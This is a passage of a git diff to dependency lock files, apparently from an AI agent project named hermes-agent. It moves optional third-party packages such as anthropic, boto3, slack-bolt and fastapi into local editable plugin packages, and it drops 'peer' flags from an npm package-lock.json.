"https://files.pythonhosted.org/packages/63/5f/67db29c6e5d16c8c9c4652d3efb934d89cb750cad201539141781d8eae14/anthropic-0.86.0-py3-none-any.whl", hash = "sha256:9d2bbd339446acce98858c5627d33056efe01f70435b22b63546fe7edae0cd57", size = 469400, upload-time = "2026-03-18T18:43:06.526Z" }, + { url = "https://files.pythonhosted.org/packages/0d/02/99bf351933bdea0545a2b6e2d812ed878899e9a95f618351dfa3d0de0e69/anthropic-0.87.0-py3-none-any.whl", hash = "sha256:e2669b86d42c739d3df163f873c51719552e263a3d85179297180fb4fa00a236", size = 472126, upload-time = "2026-03-31T17:52:40.174Z" }, ] [[package]] @@ -1618,10 +1644,29 @@ all = [ { name = "agent-client-protocol" }, { name = "aiohttp" }, { name = "debugpy" }, - { name = "fastapi" }, { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, { name = "google-auth-oauthlib" }, + { name = "hermes-agent-anthropic" }, + { name = "hermes-agent-azure" }, + { name = "hermes-agent-bedrock" }, + { name = "hermes-agent-dashboard" }, + { name = "hermes-agent-daytona" }, + { name = "hermes-agent-dingtalk" }, + { name = "hermes-agent-discord" }, + { name = "hermes-agent-exa" }, + { name = "hermes-agent-fal" }, + { name = "hermes-agent-feishu" }, + { name = "hermes-agent-firecrawl" }, + { name = "hermes-agent-hindsight" }, + { name = "hermes-agent-honcho" }, + { name = "hermes-agent-modal" }, + { name = "hermes-agent-parallel" }, + { name = "hermes-agent-slack" }, + { name = "hermes-agent-stt" }, + { name = "hermes-agent-telegram" }, + { name = "hermes-agent-tts" }, + { name = "hermes-agent-vercel" }, { name = "mcp" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pytest" }, @@ -1631,17 +1676,16 @@ all = [ { name = "ruff" }, { name = "simple-term-menu" }, { name = "ty" }, - { name = "uvicorn", extra = ["standard"] }, { name = "youtube-transcript-api" }, ] anthropic = [ - { name = "anthropic" }, + { name = "hermes-agent-anthropic" }, ] azure-identity = [ - { name = "azure-identity" }, + { name = "hermes-agent-azure" }, ] bedrock = [ - { name = "boto3" }, + { name = "hermes-agent-bedrock" }, ] cli = [ { name = "simple-term-menu" }, @@ -1649,8 +1693,11 @@ cli = [ computer-use = [ { name = "mcp" }, ] +dashboard = [ + { name = "hermes-agent-dashboard" }, +] daytona = [ - { name = "daytona" }, + { name = "hermes-agent-daytona" }, ] dev = [ { name = "debugpy" }, @@ -1662,25 +1709,25 @@ dev = [ { name = "ty" }, ] dingtalk = [ - { name = "alibabacloud-dingtalk" }, - { name = "dingtalk-stream" }, - { name = "qrcode" }, + { name = "hermes-agent-dingtalk" }, +] +discord = [ + { name = "hermes-agent-discord" }, ] edge-tts = [ - { name = "edge-tts" }, + { name = "hermes-agent-tts" }, ] exa = [ - { name = "exa-py" }, + { name = "hermes-agent-exa" }, ] fal = [ - { name = "fal-client" }, + { name = "hermes-agent-fal" }, ] feishu = [ - { name = "lark-oapi" }, - { name = "qrcode" }, + { name = "hermes-agent-feishu" }, ] firecrawl = [ - { name = "firecrawl-py" }, + { name = "hermes-agent-firecrawl" }, ] google = [ { name = "google-api-python-client" }, @@ -1688,54 +1735,42 @@ google = [ { name = "google-auth-oauthlib" }, ] hindsight = [ - { name = "hindsight-client" }, + { name = "hermes-agent-hindsight" }, ] homeassistant = [ { name = "aiohttp" }, ] honcho = [ - { name = "honcho-ai" }, + { name = "hermes-agent-honcho" }, ] matrix = [ - { name = "aiohttp-socks" }, - { name = "aiosqlite" }, - { name = "asyncpg" }, - { name = "markdown" }, - { name = "mautrix", extra = ["encryption"] }, + { name = "hermes-agent-matrix" }, ] mcp = [ { name = "mcp" }, ] -messaging = [ - { name = "aiohttp" }, - { name = "brotlicffi" }, - { name = "discord-py", extra = ["voice"] }, - { name = "python-telegram-bot", extra = ["webhooks"] }, - { name = "qrcode" }, - { name = "slack-bolt" }, - { name = "slack-sdk" }, -] modal = [ - { name = "modal" }, + { name = "hermes-agent-modal" }, ] parallel-web = [ - { name = "parallel-web" }, + { name = "hermes-agent-parallel" }, ] pty = [ { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, ] slack = [ - { name = "aiohttp" }, - { name = "slack-bolt" }, - { name = "slack-sdk" }, + { name = "hermes-agent-slack" }, ] sms = [ { name = "aiohttp" }, ] +telegram = [ + { name = "hermes-agent-telegram" }, +] termux = [ { name = "agent-client-protocol" }, - { name = "honcho-ai" }, + { name = "hermes-agent-honcho" }, { name = "mcp" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "python-telegram-bot", extra = ["webhooks"] }, @@ -1745,32 +1780,24 @@ termux = [ termux-all = [ { name = "agent-client-protocol" }, { name = "aiohttp" }, - { name = "fastapi" }, { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, { name = "google-auth-oauthlib" }, - { name = "honcho-ai" }, + { name = "hermes-agent-honcho" }, { name = "mcp" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "python-telegram-bot", extra = ["webhooks"] }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, { name = "simple-term-menu" }, - { name = "uvicorn", extra = ["standard"] }, ] tts-premium = [ - { name = "elevenlabs" }, + { name = "hermes-agent-tts" }, ] vercel = [ - { name = "vercel" }, + { name = "hermes-agent-vercel" }, ] voice = [ - { name = "faster-whisper" }, - { name = "numpy" }, - { name = "sounddevice" }, -] -web = [ - { name = "fastapi" }, - { name = "uvicorn", extra = ["standard"] }, + { name = "hermes-agent-stt" }, ] youtube = [ { name = "youtube-transcript-api" }, @@ -1780,69 +1807,84 @@ youtube = [ requires-dist = [ { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" }, { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" }, - { name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" }, - { name = "aiohttp", marker = "extra == 'slack'", specifier = "==3.13.3" }, { name = "aiohttp", marker = "extra == 'sms'", specifier = "==3.13.3" }, - { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" }, - { name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" }, - { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" }, - { name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" }, - { name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" }, - { name = "azure-identity", marker = "extra == 'azure-identity'", specifier = "==1.25.3" }, - { name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" }, - { name = "brotlicffi", marker = "extra == 'messaging'", specifier = "==1.2.0.1" }, { name = "croniter", specifier = "==6.0.0" }, - { name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" }, { name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" }, - { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" }, - { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" }, - { name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" }, - { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" }, - { name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" }, - { name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" }, - { name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" }, - { name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" }, { name = "fire", specifier = "==0.7.1" }, - { name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" }, { name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" }, { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" }, { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" }, - { name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" }, - { name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["cli"], marker = "extra == 'termux'" }, - { name = "hermes-agent", extras = ["cron"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["cron"], marker = "extra == 'termux'" }, - { name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["honcho"], marker = "extra == 'termux'" }, - { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" }, - { name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" }, - { name = "hermes-agent", extras = ["sms"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["sms"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["termux"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" }, - { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" }, - { name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" }, + { name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'", editable = "." }, + { name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["azure-identity"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["cli"], marker = "extra == 'termux'", editable = "." }, + { name = "hermes-agent", extras = ["cron"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["cron"], marker = "extra == 'termux'", editable = "." }, + { name = "hermes-agent", extras = ["dashboard"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["daytona"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["discord"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["google"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'", editable = "." }, + { name = "hermes-agent", extras = ["hindsight"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'termux-all'", editable = "." }, + { name = "hermes-agent", extras = ["honcho"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["honcho"], marker = "extra == 'termux'", editable = "." }, + { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'", editable = "." }, + { name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'", editable = "." }, + { name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["sms"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["sms"], marker = "extra == 'termux-all'", editable = "." }, + { name = "hermes-agent", extras = ["telegram"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["termux"], marker = "extra == 'termux-all'", editable = "." }, + { name = "hermes-agent", extras = ["tts-premium"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["vercel"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["voice"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["web"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'", editable = "." }, + { name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'", editable = "." }, + { name = "hermes-agent-anthropic", marker = "extra == 'anthropic'", editable = "plugins/model-providers/anthropic" }, + { name = "hermes-agent-azure", marker = "extra == 'azure-identity'", editable = "plugins/model-providers/azure-foundry" }, + { name = "hermes-agent-bedrock", marker = "extra == 'bedrock'", editable = "plugins/model-providers/bedrock" }, + { name = "hermes-agent-dashboard", marker = "extra == 'dashboard'", editable = "plugins/dashboard" }, + { name = "hermes-agent-daytona", marker = "extra == 'daytona'", editable = "plugins/terminals/daytona" }, + { name = "hermes-agent-dingtalk", marker = "extra == 'dingtalk'", editable = "plugins/platforms/dingtalk" }, + { name = "hermes-agent-discord", marker = "extra == 'discord'", editable = "plugins/platforms/discord" }, + { name = "hermes-agent-exa", marker = "extra == 'exa'", editable = "plugins/web/exa" }, + { name = "hermes-agent-fal", marker = "extra == 'fal'", editable = "plugins/image_gen/fal_pkg" }, + { name = "hermes-agent-feishu", marker = "extra == 'feishu'", editable = "plugins/platforms/feishu" }, + { name = "hermes-agent-firecrawl", marker = "extra == 'firecrawl'", editable = "plugins/web/firecrawl" }, + { name = "hermes-agent-hindsight", marker = "extra == 'hindsight'", editable = "plugins/memory/hindsight" }, + { name = "hermes-agent-honcho", marker = "extra == 'honcho'", editable = "plugins/memory/honcho" }, + { name = "hermes-agent-matrix", marker = "extra == 'matrix'", editable = "plugins/platforms/matrix" }, + { name = "hermes-agent-modal", marker = "extra == 'modal'", editable = "plugins/terminals/modal" }, + { name = "hermes-agent-parallel", marker = "extra == 'parallel-web'", editable = "plugins/web/parallel" }, + { name = "hermes-agent-slack", marker = "extra == 'slack'", editable = "plugins/platforms/slack" }, + { name = "hermes-agent-stt", marker = "extra == 'voice'", editable = "plugins/stt" }, + { name = "hermes-agent-telegram", marker = "extra == 'telegram'", editable = "plugins/platforms/telegram" }, + { name = "hermes-agent-tts", marker = "extra == 'edge-tts'", editable = "plugins/tts" }, + { name = "hermes-agent-tts", marker = "extra == 'tts-premium'", editable = "plugins/tts" }, + { name = "hermes-agent-vercel", marker = "extra == 'vercel'", editable = "plugins/terminals/vercel" }, { name = "httpx", extras = ["socks"], specifier = "==0.28.1" }, { name = "jinja2", specifier = "==3.1.6" }, - { name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" }, - { name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" }, - { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" }, { name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" }, { name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" }, { name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" }, - { name = "modal", marker = "extra == 'modal'", specifier = "==1.3.4" }, - { name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" }, { name = "openai", specifier = "==2.24.0" }, - { name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" }, { name = "prompt-toolkit", specifier = "==3.0.52" }, { name = "psutil", specifier = "==7.2.2" }, { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" }, @@ -1852,31 +1894,365 @@ requires-dist = [ { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" }, { name = "pytest-timeout", marker = "extra == 'dev'", specifier = "==2.4.0" }, { name = "python-dotenv", specifier = "==1.2.2" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" }, { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" }, { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" }, { name = "pyyaml", specifier = "==6.0.3" }, - { name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" }, - { name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" }, - { name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" }, { name = "requests", specifier = "==2.33.0" }, { name = "rich", specifier = "==14.3.3" }, { name = "ruamel-yaml", specifier = "==0.18.17" }, { name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" }, { name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" }, - { name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" }, - { name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" }, - { name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" }, - { name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" }, - { name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" }, { name = "tenacity", specifier = "==9.1.4" }, { name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" }, { name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" }, - { name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" }, { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" }, ] -provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "azure-identity", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "all"] +provides-extras = ["anthropic", "bedrock", "azure-identity", "discord", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "tts-premium", "voice", "modal", "daytona", "vercel", "hindsight", "honcho", "slack", "telegram", "matrix", "dingtalk", "feishu", "dashboard", "dev", "cron", "cli", "pty", "mcp", "homeassistant", "sms", "computer-use", "acp", "google", "youtube", "termux", "termux-all", "all"] + +[[package]] +name = "hermes-agent-anthropic" +version = "0.1.0" +source = { editable = "plugins/model-providers/anthropic" } +dependencies = [ + { name = "anthropic" }, + { name = "hermes-agent" }, + { name = "hermes-agent-azure" }, +] + +[package.metadata] +requires-dist = [ + { name = "anthropic", specifier = "==0.87.0" }, + { name = "hermes-agent", editable = "." }, + { name = "hermes-agent-azure", editable = "plugins/model-providers/azure-foundry" }, +] + +[[package]] +name = "hermes-agent-azure" +version = "0.1.0" +source = { editable = "plugins/model-providers/azure-foundry" } +dependencies = [ + { name = "azure-identity" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "azure-identity", specifier = "==1.25.3" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-bedrock" +version = "0.1.0" +source = { editable = "plugins/model-providers/bedrock" } +dependencies = [ + { name = "boto3" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "boto3", specifier = "==1.42.89" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-dashboard" +version = "0.1.0" +source = { editable = "plugins/dashboard" } +dependencies = [ + { name = "fastapi" }, + { name = "hermes-agent" }, + { name = "uvicorn", extra = ["standard"] }, +] + +[package.metadata] +requires-dist = [ + { name = "fastapi", specifier = "==0.133.1" }, + { name = "hermes-agent", editable = "." }, + { name = "uvicorn", extras = ["standard"], specifier = "==0.41.0" }, +] + +[[package]] +name = "hermes-agent-daytona" +version = "0.1.0" +source = { editable = "plugins/terminals/daytona" } +dependencies = [ + { name = "daytona" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "daytona", specifier = "==0.155.0" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-dingtalk" +version = "0.1.0" +source = { editable = "plugins/platforms/dingtalk" } +dependencies = [ + { name = "alibabacloud-dingtalk" }, + { name = "dingtalk-stream" }, + { name = "hermes-agent" }, + { name = "qrcode" }, +] + +[package.metadata] +requires-dist = [ + { name = "alibabacloud-dingtalk", specifier = "==2.2.42" }, + { name = "dingtalk-stream", specifier = "==0.24.3" }, + { name = "hermes-agent", editable = "." }, + { name = "qrcode", specifier = "==7.4.2" }, +] + +[[package]] +name = "hermes-agent-discord" +version = "1.0.0" +source = { editable = "plugins/platforms/discord" } +dependencies = [ + { name = "brotlicffi" }, + { name = "discord-py", extra = ["voice"] }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "brotlicffi", specifier = "==1.2.0.1" }, + { name = "discord-py", extras = ["voice"], specifier = "==2.7.1" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-exa" +version = "1.0.0" +source = { editable = "plugins/web/exa" } +dependencies = [ + { name = "exa-py" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "exa-py", specifier = "==2.10.2" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-fal" +version = "0.1.0" +source = { editable = "plugins/image_gen/fal_pkg" } +dependencies = [ + { name = "fal-client" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "fal-client", specifier = "==0.13.1" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-feishu" +version = "0.1.0" +source = { editable = "plugins/platforms/feishu" } +dependencies = [ + { name = "hermes-agent" }, + { name = "lark-oapi" }, + { name = "qrcode" }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "lark-oapi", specifier = "==1.5.3" }, + { name = "qrcode", specifier = "==7.4.2" }, +] + +[[package]] +name = "hermes-agent-firecrawl" +version = "1.0.0" +source = { editable = "plugins/web/firecrawl" } +dependencies = [ + { name = "firecrawl-py" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "firecrawl-py", specifier = "==4.17.0" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-hindsight" +version = "1.0.0" +source = { editable = "plugins/memory/hindsight" } +dependencies = [ + { name = "hermes-agent" }, + { name = "hindsight-client" }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "hindsight-client", specifier = "==0.6.1" }, +] + +[[package]] +name = "hermes-agent-honcho" +version = "1.0.0" +source = { editable = "plugins/memory/honcho" } +dependencies = [ + { name = "hermes-agent" }, + { name = "honcho-ai" }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "honcho-ai", specifier = "==2.0.1" }, +] + +[[package]] +name = "hermes-agent-matrix" +version = "0.1.0" +source = { editable = "plugins/platforms/matrix" } +dependencies = [ + { name = "aiohttp-socks" }, + { name = "aiosqlite" }, + { name = "asyncpg" }, + { name = "hermes-agent" }, + { name = "markdown" }, + { name = "mautrix", extra = ["encryption"] }, +] + +[package.metadata] +requires-dist = [ + { name = "aiohttp-socks", specifier = "==0.11.0" }, + { name = "aiosqlite", specifier = "==0.22.1" }, + { name = "asyncpg", specifier = "==0.31.0" }, + { name = "hermes-agent", editable = "." }, + { name = "markdown", specifier = "==3.10.2" }, + { name = "mautrix", extras = ["encryption"], specifier = "==0.21.0" }, +] + +[[package]] +name = "hermes-agent-modal" +version = "0.1.0" +source = { editable = "plugins/terminals/modal" } +dependencies = [ + { name = "hermes-agent" }, + { name = "modal" }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "modal", specifier = "==1.3.4" }, +] + +[[package]] +name = "hermes-agent-parallel" +version = "1.0.0" +source = { editable = "plugins/web/parallel" } +dependencies = [ + { name = "hermes-agent" }, + { name = "parallel-web" }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "parallel-web", specifier = "==0.4.2" }, +] + +[[package]] +name = "hermes-agent-slack" +version = "0.1.0" +source = { editable = "plugins/platforms/slack" } +dependencies = [ + { name = "aiohttp" }, + { name = "hermes-agent" }, + { name = "slack-bolt" }, + { name = "slack-sdk" }, +] + +[package.metadata] +requires-dist = [ + { name = "aiohttp", specifier = "==3.13.3" }, + { name = "hermes-agent", editable = "." }, + { name = "slack-bolt", specifier = "==1.27.0" }, + { name = "slack-sdk", specifier = "==3.40.1" }, +] + +[[package]] +name = "hermes-agent-stt" +version = "0.1.0" +source = { editable = "plugins/stt" } +dependencies = [ + { name = "faster-whisper" }, + { name = "hermes-agent" }, + { name = "numpy" }, + { name = "sounddevice" }, +] + +[package.metadata] +requires-dist = [ + { name = "faster-whisper", specifier = "==1.2.1" }, + { name = "hermes-agent", editable = "." }, + { name = "numpy", specifier = "==2.4.3" }, + { name = "sounddevice", specifier = "==0.5.5" }, +] + +[[package]] +name = "hermes-agent-telegram" +version = "0.1.0" +source = { editable = "plugins/platforms/telegram" } +dependencies = [ + { name = "hermes-agent" }, + { name = "python-telegram-bot", extra = ["webhooks"] }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "python-telegram-bot", extras = ["webhooks"], specifier = "==22.6" }, +] + +[[package]] +name = "hermes-agent-tts" +version = "0.1.0" +source = { editable = "plugins/tts" } +dependencies = [ + { name = "edge-tts" }, + { name = "elevenlabs" }, + { name = "hermes-agent" }, +] + +[package.metadata] +requires-dist = [ + { name = "edge-tts", specifier = "==7.2.7" }, + { name = "elevenlabs", specifier = "==1.59.0" }, + { name = "hermes-agent", editable = "." }, +] + +[[package]] +name = "hermes-agent-vercel" +version = "0.1.0" +source = { editable = "plugins/terminals/vercel" } +dependencies = [ + { name = "hermes-agent" }, + { name = "vercel" }, +] + +[package.metadata] +requires-dist = [ + { name = "hermes-agent", editable = "." }, + { name = "vercel", specifier = "==0.5.7" }, +] [[package]] name = "hf-xet" diff --git a/web/package-lock.json b/web/package-lock.json index caf43731a17..94cb65de829 100644 --- a/web/package-lock.json +++ b/web/package-lock.json @@ -77,7 +77,6 @@ "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", @@ -1128,7 +1127,6 @@ "resolved": "https://registry.npmjs.org/@observablehq/plot/-/plot-0.6.17.tgz", "integrity": "sha512-/qaXP/7mc4MUS0s4cPPFASDRjtsWp85/TbfsciqDgU1HwYixbSbbytNuInD8AcTYC3xaxACgVX06agdfQy9W+g==", "license": "ISC", - "peer": true, "dependencies": { "d3": "^7.9.0", "interval-tree-1d": "^1.0.0", @@ -1867,7 +1865,6 @@ "resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-9.6.0.tgz", "integrity": "sha512-90abYK2q5/qDM+GACs9zRvc5KhEEpEWqWlHSd64zTPNxg+9wCJvTfyD9x2so7hlQhjRYO1Fa6flR3BC/kpTFkA==", "license": "MIT", - "peer": true, "dependencies": { "@babel/runtime": "^7.17.8", "@types/webxr": "*", @@ -2573,7 +2570,6 @@ "integrity": "sha512-A1sre26ke7HDIuY/M23nd9gfB+nrmhtYyMINbjI1zHJxYteKR6qSMX56FsmjMcDb3SMcjJg5BiRRgOCC/yBD0g==", "devOptional": true, "license": "MIT", - "peer": true, "dependencies": { "undici-types": "~7.16.0" } @@ -2583,7 +2579,6 @@ "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz", "integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==", "license": "MIT", - "peer": true, "dependencies": { "csstype": "^3.2.2" } @@ -2594,7 +2589,6 @@ "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", "devOptional": true, "license": "MIT", - "peer": true, "peerDependencies": { "@types/react": "^19.2.0" } @@ -2659,7 +2653,6 @@ "integrity": "sha512-HDQH9O/47Dxi1ceDhBXdaldtf/WV9yRYMjbjCuNk3qnaTD564qwv61Y7+gTxwxRKzSrgO5uhtw584igXVuuZkA==", "dev": true, "license": "MIT", - "peer": true, "dependencies": { "@typescript-eslint/scope-manager": "8.59.1", "@typescript-eslint/types": "8.59.1", @@ -2988,7 +2981,6 @@ "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", "dev": true, "license": "MIT", - "peer": true, "bin": { "acorn": "bin/acorn" }, @@ -3141,7 +3133,6 @@ } ], "license": "MIT", - "peer": true, "dependencies": { 